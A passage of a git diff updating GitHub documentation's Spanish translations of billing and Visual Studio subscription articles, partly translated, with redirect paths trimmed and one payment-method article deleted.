+Después de que asignes una licencia para {% data variables.product.prodname_vss_ghe %} a un suscriptor, éste utilizará la porción de {% data variables.product.prodname_enterprise %} de la licencia al unirse a una organización en tu empresa con una cuenta de usuario de {% data variables.product.prodname_dotcom_the_website %}. Si la dirección de correo electrónico para la cuent de usuario de un miembro de la empresa en {% data variables.product.prodname_dotcom_the_website %} coincide con el Nombre Primario de Usuario (UPN) para un suscriptor de tu cuenta de {% data variables.product.prodname_vs %}, dicho suscriptor de {% data variables.product.prodname_vs %} consumirá una licencia de {% data variables.product.prodname_vss_ghe %} automáticamente.
 
-The total quantity of your licenses for your enterprise on {% data variables.product.prodname_dotcom %} is the sum of any standard {% data variables.product.prodname_enterprise %} licenses and the number of {% data variables.product.prodname_vs %} subscription licenses that include access to {% data variables.product.prodname_dotcom %}. If the user account for an enterprise member does not correspond with the email address for a {% data variables.product.prodname_vs %} subscriber, the license that the user account consumes is unavailable for a {% data variables.product.prodname_vs %} subscriber.
+La cantidad total de licencias para tu empresa en {% data variables.product.prodname_dotcom %} es la suma de todas las licencias estándar de {% data variables.product.prodname_enterprise %} y de la cantidad de licencias de suscripción de {% data variables.product.prodname_vs %} que incluyan acceso a {% data variables.product.prodname_dotcom %}. Si la cuenta de usuario de un miembro de la empresa no corresponde con la dirección de correo electrónico de un suscriptor de {% data variables.product.prodname_vs %}, la licencia que consuma esa cuenta de usuario no estará disponible para un suscriptor de {% data variables.product.prodname_vs %}.
 
-For more information about {% data variables.product.prodname_enterprise %}, see "[{% data variables.product.company_short %}'s products](/github/getting-started-with-github/githubs-products#github-enterprise)." For more information about accounts on {% data variables.product.prodname_dotcom_the_website %}, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/github/getting-started-with-github/types-of-github-accounts)."
+Para obtener más información acerca de {% data variables.product.prodname_enterprise %}, consulta los productos de "[{% data variables.product.company_short %}](/github/getting-started-with-github/githubs-products#github-enterprise)." Para obtener más información acerca de las cuentas en {% data variables.product.prodname_dotcom_the_website %}, consulta la sección "[Tipos de cuentas de {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/types-of-github-accounts)".
 
-You can view the number of {% data variables.product.prodname_enterprise %} licenses available to your enterprise on {% data variables.product.product_location %}. The list of pending invitations includes subscribers who are not yet members of at least one organization in your enterprise. For more information, see "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" and "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-and-outside-collaborators)."
+You can view the number of {% data variables.product.prodname_enterprise %} licenses available to your enterprise on {% data variables.product.product_location %}. The list of pending invitations includes subscribers who are not yet members of at least one organization in your enterprise. Para obtener más información, consulta las secciones "[Ver la suscripción y so de tu cuenta empresarial](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" y "[Ver a las personas en tu empresa](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-and-outside-collaborators)".
 
 {% tip %}
 
-**Tip**: If you download a CSV file with your enterprise's license usage in step 6 of "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account#viewing-the-subscription-and-usage-for-your-enterprise-account)," any members with a missing value for the "Name" or "Profile" columns have not yet accepted an invitation to join an organization within the enterprise.
+**Tip**: Si descargas un archivo CSV con el uso de licencia de tu empresa en el paso 6 de la sección "[Ver la suscripción y uso de tu cuenta empresarial](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account#viewing-the-subscription-and-usage-for-your-enterprise-account)", cualquier miembro con un valor faltante en las columnas de "Nombre" o "Perfil" aún no han aceptado la invitación para unirse a una organización dentro de la empresa.
 
 {% endtip %}
 
-You can also see pending {% data variables.product.prodname_enterprise %} invitations to subscribers in {% data variables.product.prodname_vss_admin_portal_with_url %}.
+También puedes ver las invitaciones pendientes de {% data variables.product.prodname_enterprise %} para los suscriptores en {% data variables.product.prodname_vss_admin_portal_with_url %}.
 
-## Further reading
+## Leer más
 
-- [{% data variables.product.prodname_vs %} subscriptions with {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/visualstudio/subscriptions/access-github) in Microsoft Docs
-- [Use {% data variables.product.prodname_vs %} or {% data variables.product.prodname_vscode %} to deploy apps from {% data variables.product.prodname_dotcom %}](https://docs.microsoft.com/en-us/azure/developer/github/deploy-with-visual-studio) in Microsoft Docs
\ No newline at end of file
+- [Suscripciones de {% data variables.product.prodname_vs %} con {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/visualstudio/subscriptions/access-github) en los documentos de Microsoft
+- [Use {% data variables.product.prodname_vs %} or {% data variables.product.prodname_vscode %} to deploy apps from {% data variables.product.prodname_dotcom %}](https://docs.microsoft.com/en-us/azure/developer/github/deploy-with-visual-studio) in Microsoft Docs
diff --git a/translations/es-ES/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md b/translations/es-ES/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md
index 6d51a952ce..13a99c02c4 100644
--- a/translations/es-ES/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md
+++ b/translations/es-ES/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md
@@ -1,18 +1,18 @@
 ---
 title: Setting up Visual Studio subscriptions with GitHub Enterprise
-intro: "Your team's subscription to {% data variables.product.prodname_vs %} can also provide access to {% data variables.product.prodname_enterprise %}."
+intro: 'Your team''s subscription to {% data variables.product.prodname_vs %} can also provide access to {% data variables.product.prodname_enterprise %}.'
 versions:
   ghec: '*'
 type: how_to
 topics:
   - Enterprise
   - Licensing
-shortTitle: Set up
+shortTitle: Configuración
 ---
 
 ## About setup of {% data variables.product.prodname_vss_ghe %}
 
-{% data reusables.enterprise-accounts.vss-ghe-description %} For more information, see "[About {% data variables.product.prodname_vss_ghe %}](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise)."
+{% data reusables.enterprise-accounts.vss-ghe-description %} Para ver más información, consulta la sección "[Acerca de las {% data variables.product.prodname_vss_ghe %}](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise)".
 
 This guide shows you how your team can get {% data variables.product.prodname_vs %} subscribers licensed and started with {% data variables.product.prodname_enterprise %}.
 
@@ -20,49 +20,48 @@ This guide shows you how your team can get {% data variables.product.prodname_vs
 
 Before setting up {% data variables.product.prodname_vss_ghe %}, it's important to understand the roles for this combined offering.
 
-| Role | Service | Description | More information |
-| :- | :- | :- | :- |
-| **Subscriptions admin** | {% data variables.product.prodname_vs %} subscription | Person who assigns licenses for {% data variables.product.prodname_vs %} subscription | [Overview of admin responsibilities](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft Docs |
-| **Subscriber** | {% data variables.product.prodname_vs %} subscription | Person who uses a license for {% data variables.product.prodname_vs %} subscription | [Visual Studio Subscriptions documentation](https://docs.microsoft.com/en-us/visualstudio/subscriptions/) in Microsoft Docs |
-| **Enterprise owner** | {% data variables.product.prodname_dotcom %} | Person who has a user account that's an administrator of an enterprise on {% data variables.product.product_location %} | "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)" |
-| **Organization owner** | {% data variables.product.prodname_dotcom %} | Person who has a user account that's an owner of an organization in your team's enterprise on {% data variables.product.product_location %} | "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners)" |
-| **Enterprise member** | {% data variables.product.prodname_dotcom %} | Person who has a user account that's a member of an enterprise on {% data variables.product.product_location %} | "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-members)"  |
+| Role                       | Servicio                                              | Descripción                                                                                                                                 | Más información                                                                                                                                    |
+|:-------------------------- |:----------------------------------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------- |:-------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Subscriptions admin**    | {% data variables.product.prodname_vs %} subscription | Person who assigns licenses for {% data variables.product.prodname_vs %} subscription                                                       | [Overview of admin responsibilities](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft Docs         |
+| **Subscriber**             | {% data variables.product.prodname_vs %} subscription | Person who uses a license for {% data variables.product.prodname_vs %} subscription                                                         | [Visual Studio Subscriptions documentation](https://docs.microsoft.com/en-us/visualstudio/subscriptions/) in Microsoft Docs                        |
+| **Propietario de empresa** | {% data variables.product.prodname_dotcom %}          | Person who has a user account that's an administrator of an enterprise on {% data variables.product.product_location %}                     | "[Roles en una empresa](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)"                         |
+| **Organization owner**     | {% data variables.product.prodname_dotcom %}          | Person who has a user account that's an owner of an organization in your team's enterprise on {% data variables.product.product_location %} | "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners)" |
+| **Miembro de empresa**     | {% data variables.product.prodname_dotcom %}          | Person who has a user account that's a member of an enterprise on {% data variables.product.product_location %}                             | "[Roles en una empresa](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-members)"                       |
 
-## Prerequisites
+## Prerrequisitos
 
-- Your team's {% data variables.product.prodname_vs %} subscription must include {% data variables.product.prodname_enterprise %}. For more information, see [{% data variables.product.prodname_vs %} Subscriptions and Benefits](https://visualstudio.microsoft.com/subscriptions/) on the {% data variables.product.prodname_vs %} website and
- [Overview of admin responsibilities](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft Docs.
- 
- - Your team must have an enterprise on {% data variables.product.product_location %}. If you're not sure whether your team has an enterprise, contact your {% data variables.product.prodname_dotcom %} administrator. If you're not sure who on your team is responsible for {% data variables.product.prodname_dotcom %}, contact {% data variables.contact.contact_enterprise_sales %}. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+- Your team's {% data variables.product.prodname_vs %} subscription must include {% data variables.product.prodname_enterprise %}. For more information, see [{% data variables.product.prodname_vs %} Subscriptions and Benefits](https://visualstudio.microsoft.com/subscriptions/) on the {% data variables.product.prodname_vs %} website and [Overview of admin responsibilities](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft Docs.
 
-## Setting up {% data variables.product.prodname_vss_ghe %}
+ - Your team must have an enterprise on {% data variables.product.product_location %}. If you're not sure whether your team has an enterprise, contact your {% data variables.product.prodname_dotcom %} administrator. If you're not sure who on your team is responsible for {% data variables.product.prodname_dotcom %}, contact {% data variables.contact.contact_enterprise_sales %}. Para obtener más información, consulta "[Acerca de las cuentas de empresa](/admin/overview/about-enterprise-accounts)".
+
+## Configurar {% data variables.product.prodname_vss_ghe %}
 
 To set up {% data variables.product.prodname_vss_ghe %}, members of your team must complete the following tasks.
 
-One person may be able to complete the tasks because the person has all of the roles, but you may need to coordinate the tasks with multiple people. For more information, see "[Roles for {% data variables.product.prodname_vss_ghe %}](#roles-for-visual-studio-subscriptions-with-github-enterprise)."
+One person may be able to complete the tasks because the person has all of the roles, but you may need to coordinate the tasks with multiple people. Para obtener más información, consulta la sección "[Roles para {% data variables.product.prodname_vss_ghe %}](#roles-for-visual-studio-subscriptions-with-github-enterprise)".
 
-1. An enterprise owner must create at least one organization in your enterprise on {% data variables.product.product_location %}. For more information, see "[Adding organizations to your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise)."
+1. An enterprise owner must create at least one organization in your enterprise on {% data variables.product.product_location %}. Para obtener más información, consulta la sección "[Agregar organizaciones a tu empresa](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise)".
 
-1. The subscription admin must assign a license for {% data variables.product.prodname_vs %} to a subscriber in {% data variables.product.prodname_vss_admin_portal_with_url %}. For more information, see [Overview of the {% data variables.product.prodname_vs %} Subscriptions Administrator Portal](https://docs.microsoft.com/en-us/visualstudio/subscriptions/using-admin-portal) and [Assign {% data variables.product.prodname_vs %} Licenses in the {% data variables.product.prodname_vs %} Subscriptions Administration Portal](https://docs.microsoft.com/en-us/visualstudio/subscriptions/assign-license) in Microsoft Docs.
+1. The subscription admin must assign a license for {% data variables.product.prodname_vs %} to a subscriber in {% data variables.product.prodname_vss_admin_portal_with_url %}. Para obtener más información, consulta las secciones [Resumen del portal de administrador de suscripciones de {% data variables.product.prodname_vs %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/using-admin-portal) y [Asignar licencias de {% data variables.product.prodname_vs %} en el portal de administración de suscripciones de {% data variables.product.prodname_vs %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/assign-license) en los Documentos de Microsoft.
 
-1. Optionally, if the subscription admin assigned licenses to subscribers in {% data variables.product.prodname_vs %} before adding {% data variables.product.prodname_enterprise %} to the subscription, the subscription admin can move the subscribers to the combined offering in the {% data variables.product.prodname_vs %} administration portal. For more information, see [Manage {% data variables.product.prodname_vs %} subscriptions with {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/assign-github#moving-to-visual-studio-with-github-enterprise) in Microsoft Docs.
+1. Optionally, if the subscription admin assigned licenses to subscribers in {% data variables.product.prodname_vs %} before adding {% data variables.product.prodname_enterprise %} to the subscription, the subscription admin can move the subscribers to the combined offering in the {% data variables.product.prodname_vs %} administration portal. Para obtener más información, consulta la sección [Administrar las suscripciones de {% data variables.product.prodname_vs %} con {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/assign-github#moving-to-visual-studio-with-github-enterprise) en los documentos de Microsoft.
 
-1. If the subscription admin has not disabled email notifications, the subscriber will receive two confirmation emails. For more information, see [{% data variables.product.prodname_vs %} subscriptions with {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/access-github#what-is-the-visual-studio-subscription-with-github-enterprise-setup-process) in Microsoft Docs.
+1. If the subscription admin has not disabled email notifications, the subscriber will receive two confirmation emails. Para obtener más información, consulta la sección [Suscripciones de {% data variables.product.prodname_vs %} con {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/access-github#what-is-the-visual-studio-subscription-with-github-enterprise-setup-process) en los documentos de Microsoft.
 
-1. An organization owner must invite the subscriber to the organization on {% data variables.product.product_location %} from step 1. The subscriber can accept the invitation with an existing user account on {% data variables.product.prodname_dotcom_the_website %} or create a new account. After the subscriber joins the organization, the subscriber becomes an enterprise member. For more information, see "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)."
+1. An organization owner must invite the subscriber to the organization on {% data variables.product.product_location %} from step 1. El suscriptor puede aceptar la invitación con una cuenta de usuario existente en {% data variables.product.prodname_dotcom_the_website %} o crear una cuenta nueva. After the subscriber joins the organization, the subscriber becomes an enterprise member. Para obtener más información, consulta la sección "[Invitar usuarios para que se unan a tu organización](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)".
 
    {% tip %}
 
    **Tips**:
 
    - While not required, we recommend that the organization owner sends an invitation to the same email address used for the subscriber's User Primary Name (UPN). When the email address on {% data variables.product.product_location %} matches the subscriber's UPN, you can ensure that another enterprise does not claim the subscriber's license.
-   - If the subscriber accepts the invitation to the organization with an existing user account on {% data variables.product.product_location %}, we recommend that the subscriber add the email address they use for {% data variables.product.prodname_vs %} to their user account on {% data variables.product.product_location %}. For more information, see "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account)."
+   - If the subscriber accepts the invitation to the organization with an existing user account on {% data variables.product.product_location %}, we recommend that the subscriber add the email address they use for {% data variables.product.prodname_vs %} to their user account on {% data variables.product.product_location %}. Para obtener más información, consula la sección "[Agregar una dirección de correo electrónico a tu cuenta de {% data variables.product.prodname_dotcom %}](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account)".
    - If the organization owner must invite a large number of subscribers, a script may make the process faster. For more information, see [the sample PowerShell script](https://github.com/github/platform-samples/blob/master/api/powershell/invite_members_to_org.ps1) in the `github/platform-samples` repository.
 
     {% endtip %}
 
-After {% data variables.product.prodname_vss_ghe %} is set up for subscribers on your team, enterprise owners can review licensing information on {% data variables.product.product_location %}. For more information, see "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)."
+After {% data variables.product.prodname_vss_ghe %} is set up for subscribers on your team, enterprise owners can review licensing information on {% data variables.product.product_location %}. Para obtener más información, consulta "[Ver la suscripción y el uso de tu cuenta de empresa](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)".
 
-## Further reading
+## Leer más
 
-- "[Getting started with {% data variables.product.prodname_ghe_cloud %}](/get-started/onboarding/getting-started-with-github-enterprise-cloud)"
+- "[Iniciar con {% data variables.product.prodname_ghe_cloud %}](/get-started/onboarding/getting-started-with-github-enterprise-cloud)"
diff --git a/translations/es-ES/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md b/translations/es-ES/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md
index 11618544c9..b28f6004a2 100644
--- a/translations/es-ES/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md
+++ b/translations/es-ES/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md
@@ -3,14 +3,14 @@ title: Agregar información a tus recibos
 intro: 'Puedes agregar información adicional a tus recibos de {% data variables.product.product_name %}, como información fiscal o contable solicitada por tu empresa o país.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/adding-information-to-your-receipts
-  - /articles/can-i-add-my-credit-card-number-to-my-receipts/
-  - /articles/can-i-add-extra-information-to-my-receipts--2/
-  - /articles/how-can-i-add-extra-information-to-my-receipts/
-  - /articles/could-you-add-my-card-number-to-my-receipts/
-  - /articles/how-can-i-add-extra-information-to-my-personal-account-s-receipts/
-  - /articles/adding-information-to-your-personal-account-s-receipts/
-  - /articles/how-can-i-add-extra-information-to-my-organization-s-receipts/
-  - /articles/adding-information-to-your-organization-s-receipts/
+  - /articles/can-i-add-my-credit-card-number-to-my-receipts
+  - /articles/can-i-add-extra-information-to-my-receipts--2
+  - /articles/how-can-i-add-extra-information-to-my-receipts
+  - /articles/could-you-add-my-card-number-to-my-receipts
+  - /articles/how-can-i-add-extra-information-to-my-personal-account-s-receipts
+  - /articles/adding-information-to-your-personal-account-s-receipts
+  - /articles/how-can-i-add-extra-information-to-my-organization-s-receipts
+  - /articles/adding-information-to-your-organization-s-receipts
   - /articles/adding-information-to-your-receipts
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/adding-information-to-your-receipts
 versions:
diff --git a/translations/es-ES/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md b/translations/es-ES/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md
index 3ff1313f1d..8e1ca97d2e 100644
--- a/translations/es-ES/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md
+++ b/translations/es-ES/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md
@@ -3,18 +3,18 @@ title: Agregar o eliminar un método de pago
 intro: Puedes agregar un método de pago a tu cuenta o actualizar el método de pago existente de tu cuenta en cualquier momento.
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/adding-or-editing-a-payment-method
-  - /articles/updating-your-personal-account-s-payment-method/
-  - /articles/how-do-i-update-my-credit-card/
-  - /articles/updating-your-account-s-credit-card/
-  - /articles/updating-your-personal-account-s-credit-card/
-  - /articles/updating-your-personal-account-s-paypal-information/
-  - /articles/does-github-provide-invoicing/
-  - /articles/switching-payment-methods-for-your-personal-account/
-  - /articles/paying-for-your-github-organization-account/
-  - /articles/updating-your-organization-s-credit-card/
-  - /articles/updating-your-organization-s-paypal-information/
-  - /articles/updating-your-organization-s-payment-method/
-  - /articles/switching-payment-methods-for-your-organization/
+  - /articles/updating-your-personal-account-s-payment-method
+  - /articles/how-do-i-update-my-credit-card
+  - /articles/updating-your-account-s-credit-card
+  - /articles/updating-your-personal-account-s-credit-card
+  - /articles/updating-your-personal-account-s-paypal-information
+  - /articles/does-github-provide-invoicing
+  - /articles/switching-payment-methods-for-your-personal-account
+  - /articles/paying-for-your-github-organization-account
+  - /articles/updating-your-organization-s-credit-card
+  - /articles/updating-your-organization-s-paypal-information
+  - /articles/updating-your-organization-s-payment-method
+  - /articles/switching-payment-methods-for-your-organization
   - /articles/adding-or-editing-a-payment-method
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/adding-or-editing-a-payment-method
 versions:
diff --git a/translations/es-ES/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md b/translations/es-ES/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md
index 13d904d39e..4548256914 100644
--- a/translations/es-ES/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md
+++ b/translations/es-ES/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md
@@ -3,9 +3,9 @@ title: Cambiar la duración de tu ciclo de facturación
 intro: Puedes pagar la suscripción de tu cuenta y otras características y productos remunerados en un ciclo de facturación mensual o anual.
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/changing-the-duration-of-your-billing-cycle
-  - /articles/monthly-and-yearly-billing/
-  - /articles/switching-between-monthly-and-yearly-billing-for-your-personal-account/
-  - /articles/switching-between-monthly-and-yearly-billing-for-your-organization/
+  - /articles/monthly-and-yearly-billing
+  - /articles/switching-between-monthly-and-yearly-billing-for-your-personal-account
+  - /articles/switching-between-monthly-and-yearly-billing-for-your-organization
   - /articles/changing-the-duration-of-your-billing-cycle
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle
 versions:
diff --git a/translations/es-ES/content/billing/managing-your-github-billing-settings/index.md b/translations/es-ES/content/billing/managing-your-github-billing-settings/index.md
index d47e8d914e..8f2c9b331b 100644
--- a/translations/es-ES/content/billing/managing-your-github-billing-settings/index.md
+++ b/translations/es-ES/content/billing/managing-your-github-billing-settings/index.md
@@ -4,12 +4,12 @@ shortTitle: Configuración de facturación
 intro: 'Las configuraciones de facturación de tu cuenta se aplican a cada característica paga o producto que agregas a la cuenta. Puedes administrar configuraciones como tu método de pago, el ciclo de facturación y el correo electrónico de facturación. También puedes visualizar la información de facturación como tu suscripción, la fecha de facturación, el historial de pagos y los recibos pasados.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings
-  - /articles/viewing-and-managing-your-personal-account-s-billing-information/
-  - /articles/paying-for-user-accounts/
-  - /articles/viewing-and-managing-your-organization-s-billing-information/
-  - /articles/paying-for-organization-accounts/
-  - /categories/paying-for-organization-accounts/articles/
-  - /categories/99/articles/
+  - /articles/viewing-and-managing-your-personal-account-s-billing-information
+  - /articles/paying-for-user-accounts
+  - /articles/viewing-and-managing-your-organization-s-billing-information
+  - /articles/paying-for-organization-accounts
+  - /categories/paying-for-organization-accounts/articles
+  - /categories/99/articles
   - /articles/managing-your-github-billing-settings
 versions:
   fpt: '*'
@@ -25,6 +25,5 @@ children:
   - /redeeming-a-coupon
   - /troubleshooting-a-declined-credit-card-charge
   - /unlocking-a-locked-account
-  - /removing-a-payment-method
 ---
 
diff --git a/translations/es-ES/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md b/translations/es-ES/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md
index 0aee52d7c1..4671618071 100644
--- a/translations/es-ES/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md
+++ b/translations/es-ES/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md
@@ -3,9 +3,9 @@ title: Canjear un cupón
 intro: 'Si tienes un cupón, puedes canjearlo por una suscripción {% data variables.product.prodname_dotcom %} paga.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/redeeming-a-coupon
-  - /articles/where-do-i-add-a-coupon-code/
-  - /articles/redeeming-a-coupon-for-your-personal-account/
-  - /articles/redeeming-a-coupon-for-organizations/
+  - /articles/where-do-i-add-a-coupon-code
+  - /articles/redeeming-a-coupon-for-your-personal-account
+  - /articles/redeeming-a-coupon-for-organizations
   - /articles/redeeming-a-coupon
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/redeeming-a-coupon
 versions:
diff --git a/translations/es-ES/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md b/translations/es-ES/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md
deleted file mode 100644
index 62a8c4ba69..0000000000
--- a/translations/es-ES/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md
+++ /dev/null
@@ -1,46 +0,0 @@
----
-title: Eliminar un método de pago
-intro: 'Si no estás usando tu método de pago para ninguna suscripción paga en {% data variables.product.prodname_dotcom %}, puedes eliminar el método de pago para que no siga almacenado en tu cuenta.'
-redirect_from:
-  - /github/setting-up-and-managing-billing-and-payments-on-github/removing-a-payment-method
-  - /articles/removing-a-credit-card-associated-with-your-user-account/
-  - /articles/removing-a-payment-method-associated-with-your-user-account/
-  - /articles/removing-a-credit-card-associated-with-your-organization/
-  - /articles/removing-a-payment-method-associated-with-your-organization/
-  - /articles/removing-a-payment-method
-  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/removing-a-payment-method
-versions:
-  fpt: '*'
-  ghec: '*'
-type: how_to
-topics:
-  - Organizations
-  - User account
----
-
-Si vas a pagar tu {% data variables.product.product_name %} suscripción con un cupón y no vas a usar tu método de pago para ninguna [otra función o producto pago](/articles/about-billing-on-github) en {% data variables.product.product_name %}, puedes eliminar tu información de tarjeta de crédito o de PayPal.
-
-{% data reusables.dotcom_billing.coupon-expires %}
-
-{% tip %}
-
-**Sugerencia:** Si [bajas la categoría de tu cuenta a producto gratuito](/articles/downgrading-your-github-subscription) y no tienes suscripciones a ninguna otra función o producto pago, eliminaremos automáticamente tu información de pago.
-
-{% endtip %}
-
-## Eliminar el método de pago de tu cuenta personal
-
-{% data reusables.user_settings.access_settings %}
-{% data reusables.user_settings.billing_plans %}
-{% data reusables.user_settings.payment-info-link %}
-{% data reusables.dotcom_billing.remove-payment-method %}
-{% data reusables.dotcom_billing.remove_payment_info %}
-
-## Eliminar el método de pago de tu organización
-
-{% data reusables.dotcom_billing.org-billing-perms %}
-
-{% data reusables.organizations.billing-settings %}
-{% data reusables.user_settings.payment-info-link %}
-{% data reusables.dotcom_billing.remove-payment-method %}
-{% data reusables.dotcom_billing.remove_payment_info %}
diff --git a/translations/es-ES/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md b/translations/es-ES/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md
index 63dc7cdacc..41d8ddf6fb 100644
--- a/translations/es-ES/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md
+++ b/translations/es-ES/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md
@@ -3,10 +3,10 @@ title: Configurar tu correo electrónico de facturación
 intro: 'El correo electrónico de facturación de tu cuenta es donde {% data variables.product.product_name %} envía los recibos y otras comunicaciones relacionadas con la facturación.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/setting-your-billing-email
-  - /articles/setting-your-personal-account-s-billing-email/
-  - /articles/can-i-change-what-email-address-received-my-github-receipt/
-  - '/articles/how-do-i-change-the-billing-email,setting-your-billing-email/'
-  - /articles/setting-your-organization-s-billing-email/
+  - /articles/setting-your-personal-account-s-billing-email
+  - /articles/can-i-change-what-email-address-received-my-github-receipt
+  - '/articles/how-do-i-change-the-billing-email,setting-your-billing-email'
+  - /articles/setting-your-organization-s-billing-email
   - /articles/setting-your-billing-email
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/setting-your-billing-email
 versions:
diff --git a/translations/es-ES/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md b/translations/es-ES/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md
index d205de2ac8..fb56a072f6 100644
--- a/translations/es-ES/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md
+++ b/translations/es-ES/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md
@@ -3,7 +3,7 @@ title: Solucionar problemas de un pago de tarjeta de crédito rechazado
 intro: 'Si se rechaza la tarjeta de crédito que utilizas para pagar {% data variables.product.product_name %}, puedes tomar varias medidas para asegurarte de que tus pagos se concreten y de no estar bloqueado de tu cuenta.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/troubleshooting-a-declined-credit-card-charge
-  - /articles/what-do-i-do-if-my-card-is-declined/
+  - /articles/what-do-i-do-if-my-card-is-declined
   - /articles/troubleshooting-a-declined-credit-card-charge
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge
 versions:
diff --git a/translations/es-ES/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md b/translations/es-ES/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md
